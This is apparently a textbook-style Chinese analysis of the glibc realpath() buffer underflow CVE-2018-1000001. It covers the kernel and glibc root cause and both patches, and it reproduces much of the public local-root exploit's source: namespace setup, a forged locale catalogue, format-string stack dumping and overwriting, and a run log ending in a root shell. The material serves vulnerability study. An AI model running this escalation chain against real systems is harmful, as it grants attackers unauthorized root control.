7.1.5 [CVE–2018-1000001] glibc Buffer Underflow

漏洞描述

该漏洞涉及到 Linux 内核的 `getcwd` 系统调用和 glibc 的 `realpath()` 函数，可以实现本地提权。漏洞产生的原因是 `getcwd` 系统调用在 Linux-2.6.36 版本发生的一些变化，我们知道 `getcwd` 用于返回当前工作目录的绝对路径，但如果当前目录不属于当前进程的根目录，即从当前根目录不能访问到该目录，如该进程使用 `chroot()` 设置了一个新的文件系统根目录，但没有将当前目录的根目录替换成新目录的时候，`getcwd` 会在返回的路径前加上 `(unreachable)`。通过改变当前目录到另一个挂载的用户空间，普通用户也可以完成这样的操作。然后返回的这个非绝对地址的字符串会在 `realpath()` 函数中发生缓冲区下溢，从而导致任意代码执行，再利用 SUID 程序即可获得目标系统上的 root 权限。

漏洞复现

	推荐使用的环境	备注
操作系统	Ubuntu 16.04	体系结构：64 位
调试器	gdb-peda	版本号：7.11.1
漏洞软件	glibc	版本号：2.23-0ubuntu9

漏洞发现者已经公开了漏洞利用代码，需要注意的是其所支持的系统被硬编码进了利用代码中，可看情况进行修改。exp

```
$ gcc -g exp.c
$ id
uid=999(ubuntu) gid=999(ubuntu)
groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambas
hare)
$ ls -l a.out
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb  1 03:28 a.out
$ ./a.out
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace

CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS
```

```
protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238
with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string
%69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6
482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%
1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-
%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root)
groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare
),999(ubuntu)
# ls -l a.out
-rwsr-xr-x 1 root root 44152 Feb  1 03:28 a.out
```

过程是先利用漏洞将可执行程序自己变成一个 SUID 程序，然后执行该程序即可从普通用户提权到 root 用户。

漏洞分析

`getcwd()` 的原型如下：

```c
#include <unistd.h>

char *getcwd(char *buf, size_t size);
```

它用于得到一个以 null 结尾的字符串，内容是当前进程的当前工作目录的绝对路径。并以保存到参数 buf 中的形式返回。

首先从 Linux 内核方面来看，在 2.6.36 版本的 vfs: show unreachable paths in getcwd and proc 这次提交，使得当目录不可到达时，会在返回的目录字符串前面加上 `(unreachable)`：

```c
// fs/dcache.c

static int prepend_unreachable(char **buffer, int *buflen)
{
    return prepend(buffer, buflen, "(unreachable)", 13);
}

static int prepend(char **buffer, int *buflen, const char *str, int namelen)
{
    *buflen -= namelen;
    if (*buflen < 0)
        return -ENAMETOOLONG;
    *buffer -= namelen;
```

```
    memcpy(*buffer, str, namelen);
    return 0;
}

/*
 * NOTE! The user-level library version returns a
 * character pointer. The kernel system call just
 * returns the length of the buffer filled (which
 * includes the ending '\0' character), or a negative
 * error value. So libc would do something like
 *
 *  char *getcwd(char * buf, size_t size)
 *  {
 *      int retval;
 *
 *      retval = sys_getcwd(buf, size);
 *      if (retval >= 0)
 *          return buf;
 *      errno = -retval;
 *      return NULL;
 *  }
 */
SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
{
    int error;
    struct path pwd, root;
    char *page = __getname();

    if (!page)
        return -ENOMEM;

    rcu_read_lock();
    get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);

    error = -ENOENT;
    if (!d_unlinked(pwd.dentry)) {
        unsigned long len;
        char *cwd = page + PATH_MAX;
        int buflen = PATH_MAX;

        prepend(&cwd, &buflen, "\0", 1);
        error = prepend_path(&pwd, &root, &cwd, &buflen);
        rcu_read_unlock();

        if (error < 0)
            goto out;

        /* Unreachable from current root */
        if (error > 0) {
            error = prepend_unreachable(&cwd, &buflen); // 当路径不可到达时，添加前缀
            if (error)
                goto out;

        }
```

```
        error = -ERANGE;
        len = PATH_MAX + page - cwd;
        if (len <= size) {
            error = len;
            if (copy_to_user(buf, cwd, len))
                error = -EFAULT;
        }
    } else {
        rcu_read_unlock();
    }

out:
    __putname(page);
    return error;
}
```

可以看到在引进了 unreachable 这种情况后，仅仅判断返回值大于零是不够的，它并不能很好地区分开究竟是绝对路径还是不可到达路径。然而很可惜的是，glibc 就是这样做的，它默认了返回的 buf 就是绝对地址。当然也是由于历史原因，在修订 `getcwd` 系统调用之前，glibc 中的 `getcwd()` 库函数就已经写好了，于是遗留下了这个不匹配的问题。

从 glibc 方面来看，由于它仍然假设 `getcwd` 将返回绝对地址，所以在函数 `realpath()` 中，仅仅依靠 `name[0] != '/'` 就断定参数是一个相对路径，而忽略了以 `(` 开头的不可到达路径。

`__realpath()` 用于将 `path` 所指向的相对路径转换成绝对路径，其间会将所有的符号链接展开并解析 `/./`、`/../` 和多余的 `/`。然后存放到 `resolved_path` 指向的地址中，具体实现如下：

```
// stdlib/canonicalize.c

char *
__realpath (const char *name, char *resolved)
{
  [...]
  if (name[0] != '/')   // 判断是否为绝对路径
    {
      if (!__getcwd (rpath, path_max))  // 调用 getcwd() 函数
    {
      rpath[0] = '\0';
      goto error;
    }
      dest = __rawmemchr (rpath, '\0');
    }
  else
    {
      rpath[0] = '/';
      dest = rpath + 1;
    }

  for (start = end = name; *start; start = end) // 每次循环处理路径中的一段
    {
      [...]
      /* Find end of path component.  */
```

```
      for (end = start; *end && *end != '/'; ++end) // end 标记一段路径的末尾
    /* Nothing.  */;

      if (end - start == 0)
    break;
      else if (end - start == 1 && start[0] == '.') // 当路径为 "." 的情况时
    /* nothing */;
      else if (end - start == 2 && start[0] == '.' && start[1] == '.')  // 当路径为 ".."
的情况时
    {
      /* Back up to previous component, ignore if at root already.  */
      if (dest > rpath + 1)
        while ((--dest)[-1] != '/');    // 回溯，如果 rpath 中没有 '/'，发生下溢出
    }
      else  // 路径组成中没有 "." 和 ".." 的情况时，复制 name 到 dest
    {
      size_t new_size;

      if (dest[-1] != '/')
        *dest++ = '/';
          [...]
    }
    }
}
```

当传入的 name 不是一个绝对路径，比如 `../../x`，`realpath()` 将会使用当前工作目录来进行解析，而且默认了它以 `/` 开头。解析过程是从后先前进行的，当遇到 `../` 的时候，就会跳到前一个 `/`，但这里存在一个问题，没有对缓冲区边界进行检查，如果缓冲区不是以 `/` 开头，则函数会越过缓冲区，发生溢出。所以当 `getcwd` 返回的是一个不可到达路径 `(unreachable)/` 时，`../../x` 的第二个 `../` 就已经越过了缓冲区，然后 `x` 会被复制到这个越界的地址处。

补丁

漏洞发现者也给出了它自己的补丁，在发生溢出的地方加了一个判断，当 `dest == rpath` 的时候，如果 `*dest != '/'`，则说明该路径不是以 `/` 开头，便触发报错。

```
--- stdlib/canonicalize.c   2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c   2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@
      goto error;
    }
       dest = __rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+      assert (dest != rpath);
     }
   else
     {
@@ -118,8 +123,17 @@

       else if (end - start == 2 && start[0] == '.' && start[1] == '.')
```

```
    {
      /* Back up to previous component, ignore if at root already.  */
-     if (dest > rpath + 1)
-       while ((--dest)[-1] != '/');
+     dest--;
+     while ((dest != rpath) && (*--dest != '/'));
+     if ((dest == rpath) && (*dest != '/') {
+       /* Return EACCES to stay compliant to current documentation:
+       "Read or search permission was denied for a component of the
+       path prefix." Unreachable root directories should not be
+       accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
*/
+       __set_errno (EACCES);
+       goto error;
+     }
+     dest++;
    }
       else
    {
```

但这种方案似乎并没有被合并。

最终采用的方案是直接从源头来解决，对 `getcwd()` 返回的路径 `path` 进行检查，如果确定 `path[0] == '/'`，说明是绝对路径，返回。否则转到 `generic_getcwd()`（内部函数，源码里看不到）进行处理：

```
$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c |
cat
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
index f545106289..866b9d26d5 100644
--- a/sysdeps/unix/sysv/linux/getcwd.c
+++ b/sysdeps/unix/sysv/linux/getcwd.c
@@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size)
   int retval;

   retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
-  if (retval >= 0)
+  if (retval > 0 && path[0] == '/')
     {
 #ifndef NO_ALLOCATION
       if (buf == NULL && size == 0)
@@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size)
       return buf;
     }

-  /* The system call cannot handle paths longer than a page.
-     Neither can the magic symlink in /proc/self.  Just use the
+  /* The system call either cannot handle paths longer than a page
+     or can succeed without returning an absolute path.  Just use the
      generic implementation right away.  */
-  if (errno == ENAMETOOLONG)
+  if (retval >= 0 || errno == ENAMETOOLONG)
     {
 #ifndef NO_ALLOCATION
```

```
        if (buf == NULL && size == 0)
```

Exploit

umount 包含在 util-linux 中，为方便调试，我们重新编译安装一下：

```
$ sudo apt-get install dpkg-dev automake
$ sudo apt-get source util-linux
$ cd util-linux-2.27.1
$ ./configure
$ make && sudo make install
$ file /bin/umount
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped
```

exp 主要分成两个部分：

```
int main(int argc, char **argv) {
  [...]
  pid_t nsPid=prepareNamespacedProcess();
  while(excalateCurrentAttempt<escalateMaxAttempts) {
    [...]
    attemptEscalation();

    [...]
    if(statBuf.st_uid==0) {
      fprintf(stderr, "Executable now root-owned\n");
      goto escalateOk;
    }
  }

preReturnCleanup:
  [...]
  if(!exitStatus) {
    fprintf(stderr, "Cleanup completed, re-invoking binary\n");
    invokeShell("/proc/self/exe");
    exitStatus=1;
  }

escalateOk:
  exitStatus=0;
  goto preReturnCleanup;
}
```

- `prepareNamespacedProcess()`：准备一个运行在自己 mount namespace 的进程，并设置好适当的挂载结构。该进程允许程序在结束时可以清除它，从而删除 namespace。
- `attemptEscalation()`：调用 umount 来获得 root 权限。

简单地说一下 mount namespace，它用于隔离文件系统的挂载点，使得不同的 mount namespace 拥有自己独立的不会互相影响的挂载点信息，当前进程所在的 mount namespace 里的所有挂载信息在 `/proc/[pid]/mounts`、`/proc/[pid]/mountinfo` 和 `/proc/[pid]/mountstats` 里面。每个 mount namespace 都拥有一份自己的挂载点列表，当用 clone 或者 unshare 函数创建了新的 mount namespace 时，新创建的 namespace 会复制走一份原来 namespace 里的挂载点列表，但从这之后，两个 namespace 就没有关系了。

首先为了提权，我们需要一个 SUID 程序，mount 和 umount 是比较好的选择，因为它们都依赖于 `realpath()` 来解析路径，而且能被所有用户使用。其中 umount 又最理想，因为它一次运行可以操作多个挂载点，从而可以多次触发到漏洞代码。

由于 umount 的 `realpath()` 的操作发生在堆上，第一步就得考虑怎样去创造一个可重现的堆布局。通过移除可能造成干扰的环境变量，仅保留 locale 即可做到这一点。locale 在 glibc 或者其它需要本地化的程序和库中被用来解析文本（如时间、日期等），它会在 umount 参数解析之前进行初始化，所以会影响到堆的结构和位于 `realpath()` 函数缓冲区前面的那些低地址的内容。漏洞的利用依赖于单个 locale 的可用性，在标准系统中，libc 提供了一个 `/usr/lib/locale/C.UTF-8`，它通过环境变量 `LC_ALL=C.UTF-8` 进行加载。

在 locale 被设置后，缓冲区下溢将覆盖 locale 中用于加载 national language support(NLS) 的字符串中的一个 `/`，进而将其更改为相对路径。然后，用户控制的 umount 错误信息的翻译将被加载，使用 fprintf() 函数的 `%n` 格式化字符串，即可对一些内存地址进行写操作。由于 fprintf() 所使用的堆栈布局是固定的，所以可以忽略 ASLR 的影响。于是我们就可以利用该特性覆盖掉 `libmnt_context` 结构体中的 `restricted` 字段：

```
// util-linux/libmount/src/mountP.h
struct libmnt_context
{
    int action;     /* MNT_ACT_{MOUNT,UMOUNT} */
    int restricted; /* root or not? */

    char    *fstype_pattern;    /* for mnt_match_fstype() */
    char    *optstr_pattern;    /* for mnt_match_options() */

    [...]
};
```

在安装文件系统时，挂载点目录的原始内容会被隐藏起来并且不可用，直到被卸载。但是，挂载点目录的所有者和权限没有被隐藏，其中 `restricted` 标志用于限制堆挂载文件系统的访问。如果我们将该值覆盖，umount 会误以为挂载是从 root 开始的。于是可以通过卸载 root 文件系统做到一个简单的 DoS（如参考文章中所示，可以在 Debian下尝试）。

当然我们使用的 Ubuntu16.04 也是在漏洞利用支持范围内的：

```
static char* osSpecificExploitDataList[]={
// Ubuntu Xenial libc=2.23-0ubuntu9
    "\"16.04.3 LTS (Xenial Xerus)\"",

 "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00"
    };
```

`prepareNamespacedProcess()` 函数如下所示：

```
static int usernsChildFunction() {
  [...]
  int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); // 将 tmpfs 类型的文件系统 tmpfs 挂载到 /tmp
  [...]
}

pid_t prepareNamespacedProcess() {
  if(namespacedProcessPid==-1) {
    [...]
    namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
        CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);   // 调用 clone() 创建进程，新进程执行函数 usernsChildFunction()
    [...]
  char pathBuffer[PATH_MAX];
  int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
     namespacedProcessPid);
  char *namespaceMountBaseDir=strdup(pathBuffer);   // /proc/[pid]/cwd 是一个符号连接，指向进程当前的工作目录

// Create directories needed for umount to proceed to final state
// "not mounted".
  createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");   // 在 cwd 目录下递归创建 (unreachable)/x。下同
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

// Create symlink to trigger underflows.
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
      namespaceMountBaseDir);
  result=symlink(osReleaseExploitData[1], pathBuffer);  // 创建名为 pathBuffer 的符号链接
  [...]

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);  // 覆盖 "restricted" 标志将赋予 umount 访问已装载文件系统的权限

  [...]
  char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
  char *stackDumpStrEnd=stackDumpStr;
```

```
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
      ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
  for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {    // 通过格式化
字符串 dump 栈数据，以对抗 ASLR
    memcpy(stackDumpStrEnd, "%016lx", 6);
    stackDumpStrEnd+=6;
  }

  [...]
  result=writeMessageCatalogue(pathBuffer,
      (char*[]){
          "%s: mountpoint not found",
          "%s: not mounted",
          "%s: target is busy\n        (In some cases useful info about processes that\n
        use the device is found by lsof(8) or fuser(1).)"
      },
      (char*[]){"1234", stackDumpStr, "5678"},
      3);   // 伪造一个 catalogue，将上面的 stackDumpStr 格式化字符串写进去

  [...]
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  secondPhaseTriggerPipePathname=strdup(pathBuffer);    // 创建文件

  [...]
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  secondPhaseCataloguePathname=strdup(pathBuffer);      // 创建文件

  return(namespacedProcessPid);     // 返回子进程 ID
}
```

所创建的各种类型文件如下：

```
$ find /proc/10173/cwd/ -type d
/proc/10173/cwd/
/proc/10173/cwd/(unreachable)
/proc/10173/cwd/(unreachable)/tmp
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES
/proc/10173/cwd/(unreachable)/x
$ find /proc/10173/cwd/ -type f
/proc/10173/cwd/DATEMSK
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-
linux.mo
/proc/10173/cwd/ready
```

```
$ find /proc/10173/cwd/ -type l
/proc/10173/cwd/(unreachable)/tmp/down
$ find /proc/10173/cwd/ -type p
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-
linux.mo
```

然后在父进程里可以对子进程进行设置，通过设置 `setgroups` 为 deny，可以限制在新 namespace 里面调用 setgroups() 函数来设置 groups；通过设置 `uid_map` 和 `gid_map`，可以让子进程自己设置好挂载点。结果如下：

```
$ cat /proc/10173/setgroups
deny
$ cat /proc/10173/uid_map
         0        999          1
$ cat /proc/10173/gid_map
         0        999          1
```

这样准备工作就做好了。进入第二部分 `attemptEscalation()` 函数：

```
int attemptEscalation() {
  [...]
  pid_t childPid=fork();
  if(!childPid) {
    [...]
    result=chdir(targetCwd);    // 改变当前工作目录为 targetCwd

// Create so many environment variables for a kind of "stack spraying".
    int envCount=UMOUNT_ENV_VAR_COUNT;
    char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
    umountEnv[envCount--]=NULL;
    umountEnv[envCount--]="LC_ALL=C.UTF-8";
    while(envCount>=0) {
      umountEnv[envCount--]="AANGUAGE=X.X";     // 喷射栈的上部
    }
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".
    char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/",
"/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc",
"LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0",
"LABEL=789abcdef0", NULL};
    result=execve(umountArgs[0], umountArgs, umountEnv);
  }
  [...]
  int escalationPhase=0;
  [...]
  while(1) {
    if(escalationPhase==2) {    // 阶段 2 => case 3
      result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
      [...]
      escalationPhase++;
    }
```

```
// Wait at most 10 seconds for IO.
    result=poll(pollFdList, 1, 10000);
    [...]
// Perform the IO operations without blocking.
    if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
      result=read(
          pollFdList[0].fd, readBuffer+readDataLength,
          sizeof(readBuffer)-readDataLength);
      [...]
      readDataLength+=result;

// Handle the data depending on escalation phase.
      int moveLength=0;
      switch(escalationPhase) {
        case 0: // Initial sync: read A*8 preamble.     // 阶段 0，读取我们精心构造的 util-
linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble
          [...]
          char *preambleStart=memmem(readBuffer, readDataLength,
              "AAAAAAAA", 8);   // 查找内存，设置 preambleStart
          [...]
// We found, what we are looking for. Start reading the stack.
          escalationPhase++;    // 阶段加 1 => case 1
          moveLength=preambleStart-readBuffer+8;
        case 1: // Read the stack.      // 阶段 1，利用格式化字符串读出栈数据，计算出 libc 等有
用的地址以对付 ASLR
// Consume stack data until or local array is full.
          while(moveLength+16<=readDataLength) {    // 读取栈数据直到装满
            result=sscanf(readBuffer+moveLength, "%016lx",
                (int*)(stackData+stackDataBytes));
            [...]
            moveLength+=sizeof(long)*2;
            stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
            if(stackDataBytes==sizeof(stackData))
              break;
          }
          if(stackDataBytes!=sizeof(stackData))     // 重复 case 1 直到此条件不成立，即所有数
据已经读完
            break;

// All data read, use it to prepare the content for the next phase.
          fprintf(stderr, "Stack content received, calculating next phase\n");

          int *exploitOffsets=(int*)osReleaseExploitData[3];    // 从读到的栈数据中获得各种
有用的地址

// This is the address, where source Pointer is pointing to.
          void *sourcePointerTarget=((void**)stackData)
[exploitOffsets[ED_STACK_OFFSET_ARGV]];
// This is the stack address source for the target pointer.
          void *sourcePointerLocation=sourcePointerTarget-0xd0;
```

```
            void *targetPointerTarget=((void**)stackData)
[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
            void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
            fprintf(stderr, "Found source address location %p pointing to target address
%p with value %p, libc offset is %p\n",
                sourcePointerLocation, sourcePointerTarget,
                targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...

            void *libcStartFunctionAddress=((void**)stackData)
[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
            void *stackWriteData[]={
                libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
                libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
            };
            fprintf(stderr, "Changing return address from %p to %p, %p\n",
                libcStartFunctionAddress, stackWriteData[0],
                stackWriteData[1]);
            escalationPhase++;    // 阶段加 1 => case 2

            char *escalationString=(char*)malloc(1024);       // 将下一阶段的格式化字符串写入到
另一个 util-linux.mo 中
            createStackWriteFormatString(
                escalationString, 1024,
                exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer
argument for fprintf
                sourcePointerTarget, // Base value to write
                exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0]
pointer ...
                libcStartFunctionReturnAddressSource,
                (unsigned short*)stackWriteData,
                sizeof(stackWriteData)/sizeof(unsigned short)
            );
            fprintf(stderr, "Using escalation string %s", escalationString);

            result=writeMessageCatalogue(
                secondPhaseCataloguePathname,
                (char*[]){
                    "%s: mountpoint not found",
                    "%s: not mounted",
                    "%s: target is busy\n        (In some cases useful info about
processes that\n         use the device is found by lsof(8) or fuser(1).)"
                },
                (char*[]){
                    escalationString,
                    "BBBB5678%3$s\n",
                    "BBBBABCD%s\n"},
                3);
            break;

        case 2:     // 阶段 2，修改了参数 “LANGUAGE”，从而触发了 util-linux.mo 的重新读入，然后
```

```
将新的格式化字符串写入到另一个 util-linux.mo 中
        case 3:     // 阶段 3，读取 umount 的输出以避免阻塞进程，同时等待 ROP 执行
fchown/fchmod 修改权限和所有者，最后退出
// Wait for pipe connection and output any result from mount.
          readDataLength=0;
          break;
          [...]
      }
      if(moveLength) {
        memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
        readDataLength-=moveLength;
      }
    }
  }

attemptEscalationCleanup:
  [...]
  return(escalationSuccess);
}
```

通过栈喷射在内存中放置大量的 "AANGUAGE=X.X" 环境变量，这些变量位于栈的上部，包含了大量的指针。当运行 umount 时，很可能会调用到 `realpath()` 并造成下溢。umount 调用 `setlocale` 设置 locale，接着调用 `realpath()` 检查路径的过程如下：

```
/*
 * Check path -- non-root user should not be able to resolve path which is
 * unreadable for him.
 */
static char *sanitize_path(const char *path)
{
    [...]
    p = canonicalize_path_restricted(path); // 该函数会调用 realpath()，并返回绝对地址
    [...]
    return p;
}

int main(int argc, char **argv)
{
    [...]
    setlocale(LC_ALL, "");  // 设置 locale，LC_ALL 变量的值会覆盖掉 LANG 和所有 LC_* 变量的值
    [...]
    if (all) {
        [...]
    } else if (argc < 1) {
        [...]
    } else if (alltargets) {
        [...]
    } else if (recursive) {
        [...]
    } else {
        while (argc--) {

            char *path = *argv;
```

```
            if (mnt_context_is_restricted(cxt)
                && !mnt_tag_is_valid(path))
                path = sanitize_path(path);     // 调用 sanitize_path 函数检查路径

            rc += umount_one(cxt, path);

            if (path != *argv)
                free(path);
            argv++;
        }
    }

    mnt_free_context(cxt);
    return (rc < 256) ? rc : 255;
}
```

```
#include <locale.h>

char *setlocale(int category, const char *locale);
```

```
// util-linux/lib/canonicalize.c
char *canonicalize_path_restricted(const char *path)
{
    [...]
    canonical = realpath(path, NULL);
    [...]
    return canonical;
}
```

因为所布置的环境变量是错误的（正确的应为 "LANGUAGE=X.X"），程序会打印出错误信息，此时第一阶段的 message catalogue 文件被加载，里面的格式化字符串将内存 dump 到 stderr，然后正如上面所讲的设置 `restricted` 字段，并将一个 `L` 写到喷射栈中，将其中一个环境变量修改为正确的 "LANGUAGE=X.X"。

由于语言发生了改变，umount 将尝试加载另一种语言的 catalogue。此时 umount 会有一个阻塞时间用于创建一个新的 message catalogue，漏洞利用得以同步进行，然后 umount 继续执行。

更新后的格式化字符串现在包含了当前程序的所有偏移。但是堆栈中却没有合适的指针用于写入，同时因为 fprintf 必须调用相同的格式化字符串，且每次调用需要覆盖不同的内存地址，这里采用一种简化的虚拟机的做法，将每次 fprintf 的调用作为时钟，路径名的长度作为指令指针。格式化字符串重复处理的过程将返回地址从主函数转移到了 `getdate()` 和 `execl()` 两个函数中，然后利用这两个函数做 ROP。

被调用的程序文件中包含一个 shebang（即"#!"），使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限，使其变成一个 SUID 程序。当 umount 最初的调用者发现文件的权限发生了变化，它会做一定的清理并调用 SUID 二进制文件的辅助功能，即一个 SUID shell，完成提权。

参考资料

- https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
- https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001
- https://github.com/karelzak/util-linux/blob/master/sys-utils/umount.c

- `man 3 getcwd`, `man 3 realpath`, `man mount_namespaces`